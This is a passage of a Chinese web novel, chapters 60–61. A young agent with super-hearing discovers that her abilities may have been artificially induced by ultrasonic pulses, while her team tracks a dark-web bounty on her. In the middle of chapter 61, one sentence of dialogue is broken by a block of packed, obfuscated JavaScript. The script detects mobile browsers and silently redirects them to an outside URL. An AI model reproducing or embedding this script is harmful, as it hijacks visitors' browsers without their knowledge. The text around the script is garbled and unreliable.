“好。”陈树转向熊毅和林墨,“轮班表我看过了,可行。但记住,你们的首要任务是调查,保护是其次。不要本末倒置。” “明白。”两人应道。 陈树又看向杨晓晓:“明天开始,你要接受一些额外的训练——如何识别潜在的绑架者,如何在不使用能力的情况下判断危险,以及在紧急情况下如何自保。训练由熊毅负责。” “是。” “另外,”陈树顿了顿,“心理组那边我给你预约了时间,明天下午三点。这不是说你心理有问题,而是面对这种针对性威胁,任何人都会有压力。专业的疏导有帮助。” 杨晓晓点点头。她知道陈树是为她好。 吃完饭,四人一起离开食堂。走廊里灯光通明,偶尔有同事匆匆走过,点头致意。 走到分岔路口时,陈树停下脚步:“杨晓晓。” “陈队?” “记住,”陈树看着她,眼神认真,“你不是一个人在面对。特保局成立二十年,遇到过各种威胁,但从没有一个队员被暗网上的悬赏真正伤害到。因为我们是一个整体。” 杨晓晓感到眼眶有点热:“我记住了。” “回去好好休息,明天训练见。” “明天见。” 回到宿舍,杨晓晓关上门,靠在门板上。房间里很安静,只有空调运转的声音。她走到窗边,看着外面城市的夜景。 江城灯火璀璨,车流如织。在这片繁华之下,有人在暗网上悬赏她的“活体”,开价五百万美金。 但同时,在这片繁华之中,也有人在保护她,在研究如何揪出那个藏在暗处的“猎手07”,在调整轮班表确保她身边随时有人,在食堂里把自己的水果推给她,在熬夜分析数据,在准备明天的训练。 她抬起手腕,看着那个不起眼的屏蔽手环。金属表面反射着窗外的灯光,像一个小小的护身符。 手机震动,是“深蓝幼儿园”群里的消息: 雷昊:@所有人最新进展!我追踪到‘猎手07’的一个跳板服务器位置,在新加坡!虽然可能又是中转,但至少是个方向! 熊毅:收到。注意休息。 林墨:雷昊哥辛苦了,夜宵熊哥说会给你带。 杨晓晓:谢谢雷哥,注意身体。】 放下手机,杨晓晓深吸一口气。 暗网很暗,但光也在行动。 她不是猎物,她是特保局的监听员杨晓晓。 而她的队友们,正和她一起,准备把这个“影子市场”照个透亮。 问题不大,明天继续。 (第61章,约3200字) 61. 杨晓晓的警觉 周四清晨六点,特保局训练室。 杨晓晓在跑步机上匀速慢跑,耳机里播放着舒缓的轻音乐——这是心理组建议的放松方式。但今天,她的思绪完全无法集中在音乐上。 暗网悬赏的截图在脑海里反复浮现:“女性,25岁左右,能力觉醒3-6个月内……江城区域……” 数字像冰冷的钉子,一根根钉在心上。 她放慢速度,调到步行档,拿起毛巾擦了擦汗。训练室里只有她一个人,晨光从高窗斜射进来,在光洁的地板上切出锐利的光影。 脚步声中,门被推开了。 陈树走了进来,穿着黑色作训服,手里拿着一个平板电脑。他没有立刻说话,走到旁边的器械区,开始做引体向上。动作标准,节奏稳定,每一次都拉到最高点。 杨晓晓关掉跑步机,走到他旁边,靠着墙壁。她知道陈树有话要说——他从来不会只是“碰巧”出现在她单独训练的时候。 做到第二十一个,陈树才松手落地,气息平稳如常。他拿起水瓶喝了一口,看向杨晓晓:“昨晚睡得怎么样?” “还行。”杨晓晓实话实说,“醒了几次,但总体睡得着。” “比当年我好。”陈树在旁边的长凳上坐下,“我那时候整晚盯着天花板,脑子里把所有可能的威胁都过一遍。” 杨晓晓在他对面坐下:“陈队,我一直在想……那个悬赏的描述太精准了。精准到不像是推测,更像是……有人近距离观察过。” 陈树没有否认。他打开平板电脑,调出一份时间线图表:“这是你能力觉醒以来的时间线。三个月前,深蓝科技电梯事故,你首次表现出异常听力。两个月前,正式加入特保局,开始训练。一个月前,首次执行实战任务。两周前,暗网悬赏出现。” 他滑动屏幕:“悬赏发布时间,正好是你完成便利店劫持案监听任务后的第三天。而在那之前,你曾以‘听力测试志愿者’身份,参与市第一医院的设备校准工作——那是一次公开活动,有媒体报道。” 杨晓晓盯着屏幕:“您是说……有人在那次活动中注意到了我?” “有可能。”陈树说,“但更让我在意的是另一个时间点。” 他放大图表中的某一段:“你能力觉醒的那个月,江城范围内记录到的异常声波事件有七起,其中三起集中在深蓝科技周边两公里范围内。” 杨晓晓感到后颈一阵发麻:“异常声波事件?” “超声波脉冲,频率超出人耳接收范围。”陈树看着她,“其中一起,发生时间正好在你电梯事故前四十分钟。地点在深蓝科技对面写字楼的天台。” 房间里安静得能听到中央空调的送风声。 杨晓晓深吸一口气:“陈队,您是在怀疑……我的能力觉醒,不是自然发生的?” 陈树没有直接回答。他关闭平板,双手交叉放在膝盖上:“在特保局的记录里,能力觉醒通常分为三种情况。第一种是自然觉醒,通常发生在青春期,或者遭遇重大刺激时——比如我的情况。第二种是遗传觉醒,父母一方有能力,子女在特定年龄段觉醒。第三种……” 他顿了顿:“是人为诱导。” 这个词让杨晓晓的心脏漏跳了一拍。 “人为诱导能力在理论上可行,但实际操作极其困难,风险极高。”陈树继续说,“需要精准的能量刺激、特定的生理状态,以及……目标本身具备潜在的能力基因。失败率超过90%,且失败后果从永久性神经损伤到死亡不等。” 杨晓晓想起觉醒那天的感觉——电梯坠落,失重,然后世界的声音像潮水般涌来,几乎将她淹没。她一直以为那是事故带来的“副作用”,是某种大脑在危机中产生的异常反应。 但如果……那不是意外呢? “我想重新听一遍当时的录音。”她说,声音比想象中平静,“我手机里有电梯故障后几分钟的通话记录,是和急救中心的那通电话。” 陈树点头:“让雷昊帮你分析。他的设备能检测出普通人耳听不到的频率成分。” 上午九点,技术分析室。 雷昊的眼睛比昨天更红了,显然又是一夜没睡。但他精神亢奋,面前六块屏幕同时显示着不同的数据流。 “来来,晓晓,音频文件发我。”他接过杨晓晓的手机,连接数据线,“我顺便给你看个新发现。” 他在一块屏幕上调出暗网“影子市场”的界面截图——那是他昨晚黑进去拍到的后台数据。 “看这个,”雷昊指着一条交易记录,“‘猎手07’在发布悬赏前,曾浏览过一个名为‘觉醒失败案例库’的板块。里面全是……不太好看的图片和报告。” 杨晓晓强迫自己看着那些模糊的图片。有的是脑部扫描图,显示异常的神经活动区域;有的是实验记录,写着“受试者3号,听觉神经永久性损伤,无法恢复”。 “他在研究能力觉醒。”雷昊的声音低沉下来,“而且从浏览记录看,他特别关注‘声波诱导’的案例。” 陈树站在他们身后:“能追踪到这个板块的访问者信息吗?” “很难。”雷昊摇头,“这部分数据加密级别最高,用了量子加密技术的前沿应用。我现在的手段只能看到表层信息,深层数据需要更高级的权限——或者物理接触服务器。” 他点开另一个程序:“先处理音频吧。” 杨晓晓手机里的那段录音被导入系统。那是电梯故障后,她意识模糊中拨通急救电话的通话记录。她自己的声音虚弱而颤抖,背景是电梯井里呼啸的风声和其他乘客的哭喊。 雷昊开启频谱分析。屏幕上出现声波的可视化图谱——从低频到高频,像一片色彩斑斓的山脉。 “正常对话频率在这里。”雷昊指着图谱中间的部分,“人耳可听范围,20赫兹到20000赫兹。而你的录音里……” 他放大了图谱的高频部分。在20000赫兹以上的区域,出现了一连串极其细微但规律的脉冲信号,像一排细密的针尖。 “这些是什么?”杨晓晓盯着那些信号。 “超声波脉冲。”雷昊将频率标记出来,“25000赫兹,持续0.3秒;接着是28000赫兹,0.2秒;然后是32000赫兹,0.4秒。三种频率,按特定顺序排列。” 他调出另一个窗口:“这是深蓝科技电梯事故当天,周边区域的声波监测记录——来自气象局和地震局的公开数据。看这里。” 屏幕上,时间轴对齐。在杨晓晓录音中检测到超声波脉冲的同一时刻,深蓝科技周边三个监测站都记录到了相似的异常信号。 “巧合吗?”陈树问。 “三个不同位置的监测站同时记录到相同频率序列的超声波脉冲,这概率低于百万分之一。”雷昊的表情前所未有地严肃,“这不是巧合。这是有人在同一时间,从至少三个方向发射了定向超声波。” 杨晓晓感到喉咙发干。她闭上眼睛,试图回忆那天更早的时候——事故发生前,她在办公室里有没有什么异常感觉? 记忆像被雾气笼罩。她记得那天很普通,早起,通勤,打卡,处理邮件……然后呢? 等等。 有一个细节。 那天上午十点左右,她曾有一阵短暂的眩晕。当时她正要去送文件,走到走廊中间,忽然感觉耳朵里“嗡”的一声,眼前发黑,扶住墙壁才没摔倒。那感觉来得快去得也快,大概只有两三秒。她以为是低血糖,去茶水间吃了块饼干,没多想。 现在回想起来,那眩晕的时间点…… “雷昊,”她睁开眼,“能查到那天上午十点左右的声波记录吗?” 雷昊迅速调整时间轴。屏幕上,声波监测数据滚动到事故前四十分钟。 找到了。 十点零三分,同样的超声波脉冲序列再次出现。只是这次强度更低,持续时间更短。 “这是……测试?”杨晓晓低声说。 “或者说是‘校准’。”陈树的声音冰冷,“上午十点进行低强度测试,确认目标位置和设备状态。十点四十分,电梯运行时,进行高强度诱导脉冲。” 房间里一片死寂。只有电脑散热风扇的嗡鸣。 杨晓晓看着屏幕上那些细密的脉冲信号,感觉它们像一根根看不见的针,刺进她三个月前的记忆里。 “如果这是真的,”她的声音有些发抖,“那么电梯事故……” “可能不是意外。”陈树接完了她不敢说的话,“电梯控制系统可能被干扰了,为了创造‘合适的觉醒环境’——强烈的危机刺激,加上精准的声波脉冲。” 雷昊骂了一句脏话,狠狠揉了揉脸:“这他妈太疯狂了。谁能做到这种事?需要提前知道晓晓的基因潜质,需要掌握她的行踪,需要有能力黑进电梯系统,还需要有发射定向超声波的专业设备……” “而且需要知道这么做不会直接杀了她。”陈树补充,“这说明对方有丰富的实验数据支撑,知道什么频率、什么强度、在什么生理状态下最可能成功。” 杨晓晓站起来,走到窗边。窗外阳光明媚,训练场上几个新队员正在练习格斗,呼喝声隐约传来。 三个月来,她一直以为自己的能力是场意外,是灾难后的补偿,是命运开的苦涩玩笑。 现在有人告诉她:这可能是一场精心策划的“手术”。而她是那个在不知情的情况下被“开刀”的病人。 “我想见秦老。”她忽然说。 陈树和雷昊都看向她。 “秦望舒老人研究古籍,见过很多关于‘开窍’、‘启灵’的记载。”杨晓晓转身,眼神坚定,“如果这世上真有‘人为觉醒’的方法,古籍里可能会有线索。” 下午两点,资料室。 秦望舒老人今天没在看古籍,而是在整理一批新到的档案。看到杨晓晓和陈树进来,他摘下老花镜,露出温和的笑容。 “小杨来了。坐。”他指了指对面的椅子,又看看陈树,“陈队长也来了,看来是有要紧事。” 杨晓晓在老人对面坐下。资料室里很安静,只有老旧空调发出规律的嗡鸣,还有纸张翻动的沙沙声。这种熟悉的背景音让她稍微平静了一些。 “秦老,”她斟酌着措辞,“您研究古籍多年,有没有见过……关于‘人为开启特殊能力’的记载?” 秦望舒的手停在半空中。他慢慢放下手里的档案,重新戴上眼镜,仔细打量杨晓晓:“为什么问这个?” 陈树接过话:“我们怀疑杨晓晓的能力觉醒可能不是自然现象。在觉醒发生时,监测到异常的超声波脉冲序列,模式高度可疑。” 老人沉默了很久。他起身走到最里侧的书架前,踮脚从顶层抽出一本线装书。书很旧了,封面是深蓝色的棉布,已经褪色发白。 他小心地把书放在桌上,翻开。书页泛黄,竖排的毛笔字工整而娟秀。 “这是清代一位医家的手稿残本。”秦望舒的声音很轻,像怕惊扰了书页里的灵魂,“里面记载了一些……非常规的医术。” 他用枯瘦的手指指着一行字:“看这里:‘启聪音,以三频递进,贯耳窍,可开天听。然险极,十不存一。’” 杨晓晓凑近看。繁体字她读得有些吃力,但大致意思能懂:用三种频率递进的声音,贯穿耳窍,可以开启“天听”——超凡的听力。但极其危险,十个人里活不了一个。 “下面还有注解。”秦望舒继续往下指,“‘需趁惊魂未定,神思涣散时施术,事半功倍。若遇心志坚定者,反受其害。’” 需要趁人惊慌失措、精神涣散的时候施术,效果最好。如果遇到心志坚定的人,反而会受害。 杨晓晓想起电梯坠落时的失重和恐惧,想起那种世界崩塌的感觉。那确实是“惊魂未定,神思涣散”的极致状态。 “还有这里。”秦望舒翻到另一页,“记载了一个失败的案例:‘王某,启聪后三日,耳中幻音不绝,昼夜哭嚎,终投井自尽。’” 王某人,开启听力后三天,耳中幻听不断,日夜哭嚎,最终投井自杀。 杨晓晓感到一阵寒意。她想起能力觉醒后的头几个星期,那些无孔不入的声音几乎让她崩溃。如果不是陈树的训练,如果不是特保局的心理疏导,她会不会也…… “秦老,”陈树开口,“这种‘启聪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17191501|197074||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 音’,具体是怎么操作的?” “记载很模糊。”秦望舒摇头,“只说需要‘精铜所铸之器,形如海螺,内置机簧,可发人耳不及之音’。大致是用铜制的、形状像海螺的器具,内部有机簧,能发出人耳听不到的声音。” 他合上书,看着杨晓晓:“孩子,如果你们怀疑的事是真的……那你的觉醒,可能不是天灾,是人祸。” 这个词像一块冰,落在杨晓晓心里。 人祸。 有人故意让她经历电梯坠落,故意在她最恐惧的时候用声波刺激她的大脑,故意把她变成一个听力能力者——不管她愿不愿意,不管她会不会因此疯掉或死掉。 “为什么?”她听见自己的声音在问,“为什么要这么做?” “古籍里没有答案。”秦望舒说,“但以常理推断,无非几种可能:需要你这种能力去做某件事,或者……拿你做实验,收集数据。” 陈树的手机震动了一下。他看了一眼屏幕,表情凝重:“技术组在深蓝科技对面写字楼的天台,发现了可疑的痕迹。有设备固定架的印子,还有一小段断裂的铜丝——成分分析显示,是纯度很高的青铜。” 青铜。形如海螺的铜器。 线索开始串联,拼出一幅令人不安的图画。 杨晓晓站起来:“秦老,有没有办法……让我更清楚地回忆起那天的感觉?不是记忆,是身体的感觉,耳朵的感觉?” 老人沉思片刻:“古法中有‘回音溯源’之术,通过特定的声音引导,让人回到特定的听觉记忆里。但很耗神,而且……可能会让你重新体验当时的痛苦。” “我愿意试试。”杨晓晓说,“我需要知道真相。” 陈树想说什么,但看到她眼中的决意,最终只是点头:“什么时候可以安排?” “我需要准备一下。”秦望舒说,“明天吧。今天我先配一些安神的药材,让小杨好好休息,养足精神。回溯记忆对心神的消耗很大,不能轻视。” 离开资料室时,夕阳已经把走廊染成橙红色。 杨晓晓走在陈树身边,脚步很稳。经过窗户时,她看了一眼外面——城市正在慢慢亮起灯火,像无数细小的星辰在人间点燃。 “怕吗?”陈树问,和早上一样的问题。 杨晓晓想了想,这次给出了不同的答案:“怕。但更多的是……想知道为什么。想知道是谁,为了什么,做出这种事。” 她顿了顿,轻声说:“如果我的觉醒真的是人为的,那么暗网上那个悬赏……可能不是偶然。也许我从一开始就是目标,只是我到现在才知道。” 陈树停下脚步,面对她:“所以你要更小心。从明天开始,你的保护级别再升一级。我会安排人二十四小时在暗处护卫,直到这件事水落石出。” “会不会太夸张了?”杨晓晓问,“局里人手本来就不够……” “保护队员从来不是夸张。”陈树打断她,“你是特保局的人,我们保护你,就像你保护别人一样,天经地义。” 他们走到分岔路口。陈树要去简报室开会,杨晓晓回宿舍。 “明天见。”陈树说,“好好休息。不管真相是什么,你都不是一个人面对。” “我明白。”杨晓晓点头,“谢谢陈队。” 走回宿舍的路上,杨晓晓碰见了熊毅和林墨。两人刚从训练场回来,满头大汗。 “晓晓。”熊毅朝她点点头,递过来一瓶水——是他刚从自动贩卖机买的,还没开封。 林墨擦了擦汗,小声问:“听说你明天要和秦老做记忆回溯?需要我们陪着吗?” “秦老说最好一个人,减少干扰。”杨晓晓拧开瓶盖,喝了一口水,冰凉的感觉让她精神一振,“不过你们可以在外面等着。如果……如果我出来时状态不好,可能需要人扶着。” “我们一定在。”林墨认真地说。 熊毅没说话,只是又点了点头。 回到宿舍,杨晓晓洗了个热水澡。水流冲刷着身体,也冲不走心里的沉重感。她看着镜子里的自己——普通的五官,普通的发型,看起来就是个二十多岁的年轻女性。 但就在这普通的身体里,藏着一双能听见三公里外声音的耳朵。而这双耳朵,可能不是天赋,是人为安装的“设备”。 擦干头发,她坐到书桌前,翻开那本《闻道录》。秦老的字迹在台灯下显得格外柔和: 上士闻道,勤而行之;中士闻道,若存若亡;下士闻道,大笑之。 她现在是“闻”到了某种“道”,只是这个道太过黑暗,太过残忍。 手机震动,是雷昊发来的消息: 雷昊:晓晓,我又找到一些线索。‘猎手07’在过去两年里,在暗网上购买过三次高精度声波发射设备,都是从同一个卖家那里买的。我正在追踪那个卖家。 杨晓晓:辛苦了雷哥,注意休息。 雷昊:你也是。明天要回溯记忆,今天一定睡好。我这儿有安眠的音频,需要吗? 杨晓晓:不用了,我试试自己睡。 关掉手机,杨晓晓躺在床上,闭上眼睛。 耳朵里传来各种声音:隔壁宿舍电视的声音,走廊里有人走过的脚步声,远处训练场夜训的口令声,还有更远处街道上的车流声。 这些声音曾经让她痛苦不堪,现在却是她能力的一部分,是她守护他人的工具,也是她可能被人算计的证据。 她想起陈树的话:“不管真相是什么,你都不是一个人面对。” 是的,她不是一个人。 有陈树在调查,有雷昊在追踪,有熊毅和林墨在守护,有秦老在指导,有整个特保局在背后。 问题不大——她对自己说,虽然这次的问题,可能真的有点大。 窗外的夜色渐深。城市的喧闹渐渐平息,进入另一种节奏的安静。 明天,她要回到三个月前的那一天,去听清那些当时没听清的声音。 去面对一个可能改变她所有认知的真相。 她深吸一口气,调整姿势,让自己放松下来。 睡吧,杨晓晓。养足精神,明天还有很长的路要走。